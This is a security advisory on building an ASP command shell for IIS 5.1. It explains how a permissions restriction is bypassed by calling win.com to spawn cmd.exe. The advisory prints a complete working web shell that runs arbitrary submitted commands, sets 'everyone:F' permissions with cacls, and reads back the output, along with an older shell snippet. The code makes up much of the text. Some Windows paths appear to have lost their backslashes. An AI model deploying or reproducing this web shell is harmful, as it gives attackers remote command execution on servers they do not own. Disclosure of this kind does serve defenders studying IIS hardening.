ASP Cmd Shell On IIS 5.1

Advisory Content :

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% ASP Cmd Shell On IIS 5.1
% brett.moore (at) security-assessment (dot) com [email concealed]
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ASP shells have been around since the dawn of time. On IIS 5.0 and prior
it
was simple to create a 'command prompt shell' using code similar to;

<%
Set oS = Server.CreateObject("WSCRIPT.SHELL")
output = oS.exec("cmd.exe > /c " & request("command")).stdout.readall
response.write output
%>

Permissions changes in IIS 5.1 prevented this method from working as
execution access was revoked to the IUSR_Machine user.

During one boring afternoon it was decided to find a way around this,
and
what we found was 'slightly' interesting.

When IIS checks to see if an executable has 'execute' rights it is
checking against IUSR_Machine. If execute rights are granted then the
new process is created, under the IWAM_Machine account.

Thus all that was needed was an executable that could be run by
IUSR_Machine
and would then spawn an instance of cmd.exe.

We set about seeing what executables could be run by IUSR_Machine. It
turns
out that execution access has been revoked to all files with the .exe
extension. We did however locate several .com files that could still be
executed. One in particular 'win.com' takes a command line as a
parameter
and will execute it.

Because of the 'double spawning' we can not make use of .stdout.readall,
and
need to revert to outputting to a file, and reading it back in.

Due to the process executing under a different account than that of the
ASP
processor, we need to jump through a couple of hoops.
* The folder that we use must be WRITEABLE by IWAM_Machine
* The folder that we use must be READABLE by IUSR_Machine
* We need to alter file permissions to allow IUSR_Machine access to read

the file created by IWAM_Machine

The accesschk tool from sysinternals, can easily identify a valid
location.
Our testings came up with c:windowspchealthERRORREPQHEADLES
IIS6.0 revokes access to both IUSR_Machine and IWAM_Machine, and
therefore
this technique will not work on that platform.

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----
<%
Dim oS,oSNet,oFSys, oF,szCMD, szTF
On Error Resume Next
Set oS = Server.CreateObject("WSCRIPT.SHELL")
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form("C")

If (szCMD <> "") Then
szTF = "c:windowspchealthERRORREPQHEADLES" & oFSys.GetTempName()
' Here we do the command
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
"""",0,True)
response.write szTF
' Change perms
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
everyone:F",0,True)
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
End If
%>
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name="C" size=70 value="<%= szCMD %>">
<input type=submit value="Run"></FORM><PRE>
Machine: <%=oSNet.ComputerName%><BR>
Username: <%=oSNet.UserName%><br>
<%
If (IsObject(oF)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oF.ReadAll)
oF.Close
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
End If
%>

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